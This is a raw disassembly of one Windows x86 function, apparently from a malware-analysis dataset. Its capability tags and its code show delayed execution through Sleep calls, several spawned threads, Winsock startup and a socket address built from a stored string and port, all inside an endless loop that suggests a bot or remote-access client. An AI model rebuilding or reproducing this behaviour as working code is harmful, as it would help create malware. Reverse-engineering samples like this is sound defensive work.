Function at 0x401c20
Capabilities:
Create thread
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x54c
mov eax, dword [0x413018]
xor eax, esp
mov dword [esp + 0x548], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
lea ecx, [esp + 0xe0]
push ecx
mov dword [0x4134fc], eax
call dword [sym.imp.KERNEL32.dll_GetDynamicTimeZoneInformation]
push 0x128
lea edx, [esp + 0x428]
push 0
push edx
mov dword [esp + 0x42c], 0
call sub.MSVCR90.dll_memset
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
push 0x258
call ebx
lea eax, [esp + 0x18c]
mov esi, eax
jmp 0x401c90
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401c90
lea edi, [esp + 0x420]
sub eax, esi
add edi, 0xfffffffe
jmp 0x401cb0
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x401cb0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00402530
push 0x17d4
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x40a180
push 0
push 0
call esi
push 0x1a
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x30], esp
push str._._._.
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
call fcn.00408250
call fcn.00402530
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x24
test eax, eax
je 0x401d1e
mov byte [eax], 0
push 0x64
call ebx
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x401d33
mov byte [eax], 6
push 0x64
call ebx
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x401d48
mov byte [eax], 0
push 0x64
call ebx
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x401d5d
mov byte [eax], 6
push 0x64
call ebx
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x401d72
mov byte [eax], 0
push 0x64
call ebx
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x401d87
mov byte [eax], 6
push 0x64
call ebx
call fcn.00402530
push 0
push 0
push 0
push 0x40a180
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40a120
push 0
push 0
call esi
call fcn.00402530
mov eax, 0x415a38
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401dc0
sub eax, edx
jne 0x401def
jmp 0x401dd0
call fcn.00406c90
push 0x2d50
call ebx
mov eax, 0x415a38
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401de4
sub eax, edx
je 0x401dd0
push 0x415a38
lea ecx, [esp + 0x18]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push 0
push 0
push 0
push 0x40a180
push 0
push 0
call esi
lea eax, [esp + 0x290]
push eax
push 0x102
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401e2e
push 0
call dword [sym.imp.MSVCR90.dll_exit]
push 0x1a
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x30], esp
push str.
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
call fcn.00408250
add esp, 0x20
call fcn.00402060
call fcn.00402530
cmp dword [esp + 0x2c], 0x10
mov eax, dword [esp + 0x18]
jae 0x401e65
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0xb930
mov dword [0x415518], eax
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, 2
mov word [0x415516], ax
mov word [0x415514], cx
call fcn.00402530
call fcn.00402530
call fcn.00408ed0
lea edx, [esp + 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push 0xc4
lea eax, [esp + 0x428]
push 0
push eax
mov dword [esp + 0x42c], 0
call sub.MSVCR90.dll_memset
lea eax, [esp + 0x40]
add esp, 0xc
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401ed0
lea edi, [esp + 0x420]
sub eax, edx
add edi, 0xfffffffe
jmp 0x401ef0
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x401ef0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esp, [esp]
cmp byte [0x415624], 0
jne 0x401f59
call fcn.00409900
call fcn.00406d80
call fcn.00406e60
test al, al
je 0x401f59
push 0x6d1
call ebx
call fcn.00401f80
push 0
push 0
push 0
push 0x406bb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00408ed0
push 0xa0f
call ebx
push 0x3e8
call ebx
call fcn.00409900
call fcn.00406d80
push 0x80f8
call ebx
jmp 0x401f10